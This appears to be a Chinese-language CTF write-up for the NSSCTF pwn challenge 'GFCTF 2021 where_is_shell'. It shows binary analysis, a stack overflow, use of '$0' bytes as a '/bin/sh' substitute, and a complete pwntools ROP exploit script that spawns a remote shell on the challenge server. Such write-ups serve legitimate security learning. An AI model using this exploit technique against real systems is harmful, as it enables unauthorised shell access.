NSSCTF [GFCTF 2021]where_is_shell

发布于:2025-05-15 ⋅ 阅读:(8) ⋅ 点赞:(0)

889.[GFCTF 2021]where_is_shell(system($0)64位)

[GFCTF 2021]where_is_shell

(1)

1.准备
motaly@motaly-VMware-Virtual-Platform:~$ file shell
shell: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=7475d68277d0c9c5d2060591d874af8a5ed0f8e9, not stripped
motaly@motaly-VMware-Virtual-Platform:~$ checksec --file=shell
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   63 Symbols	  No	0		1		shell

就开了一个NX保护

2.ida分析
main函数
int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE buf[16]; // [rsp+0h] [rbp-10h] BYREF

  system("echo 'zltt lost his shell, can you find it?'");
  read(0, buf, 0x38uLL);
  return 0;
}

read最多读取56(0x38),但buf大小为16,所以存在缓冲区溢出

tips函数(后门函数)
__int64 tips()
{
  return MEMORY[0x403569]();
}

这里ida暴红,感觉这个地址或函数是有用的,不过一时间不知道有啥用
同时浅查了一下,这里是直接跳转到内存地址0x403569执行代码
总的这里
先看栈情况

-0000000000000010 // Use data definition commands to manipulate stack variables and arguments.
###### -0000000000000010 // Frame size: 10; Saved regs: 8; Purge: 0
###### -0000000000000010
###### -0000000000000010     _BYTE buf[16];
###### +0000000000000000     _QWORD __saved_registers;
###### +0000000000000008     _UNKNOWN *__return_address;
###### +0000000000000010
###### +0000000000000010 // end of stack variables

得到偏移量为0x10+8
然后有system函数,但是没找到'/bin/sh'等连接路径
 


 


看了其他的wp发现了一个关键点在tips函数中那个地址的机械码
 


24和30转换成10进制ASCII码$0

这里就涉及一个新的知识点:

/bin/sh 是执行脚本的解释器

$0可以是shell脚本中的特殊变量,0表示当前脚本的名称

在特定的一些情况下,$0可以起到'/bin/sh'的效果,但不是$0等于'/bin/sh'
这道题就是特定的情况

3.EXP
思路:

有了'/bin/sh'的替代$0和system,就是一个简单的64位栈溢出system('/bin/sh')

1.我们可以先获得system和$0的地址
2.然后64位里传参需要寄存器和64位可能会涉及到堆栈平衡,所以需要一个寄存器和ret地址
3.最后构造ROP链,获得连接
在ida中查看
 


得到system地址为0x400430
 


因为24前还有一字节E8,所以$0的地址是0x400540+1=0x400541
通过ROPgadget指令对寄存器和ret进行查找
 


选择rdi寄存器,rdi地址为0x4005e3,ret地址为400416
最后构造ROP链

payload=b'a'*(0x10+8)+p64(ret)+p64(rdi)+p64(shell)+p64(system)

先是偏移量,然后为了堆栈平衡写一个ret填充,再是寄存器和参数shell($0),最后返回地址system

(64位是先写参数再写返回地址,所以虽然我们要的是system+$0,但$0和寄存器在前面)

总的脚本如下
from pwn import *
context.log_level = "debug"
io=remote('node4.anna.nssctf.cn',28217)
# io= process('/home/motaly/shell')
system=0x400430
shell=0x400541
rdi=0x4005e3
ret=0x400416
payload=b'a'*(0x10+8)+p64(ret)+p64(rdi)+p64(shell)+p64(system)
io.sendlineafter(b'zltt lost his shell, can you find it?\n',payload)
io.interactive()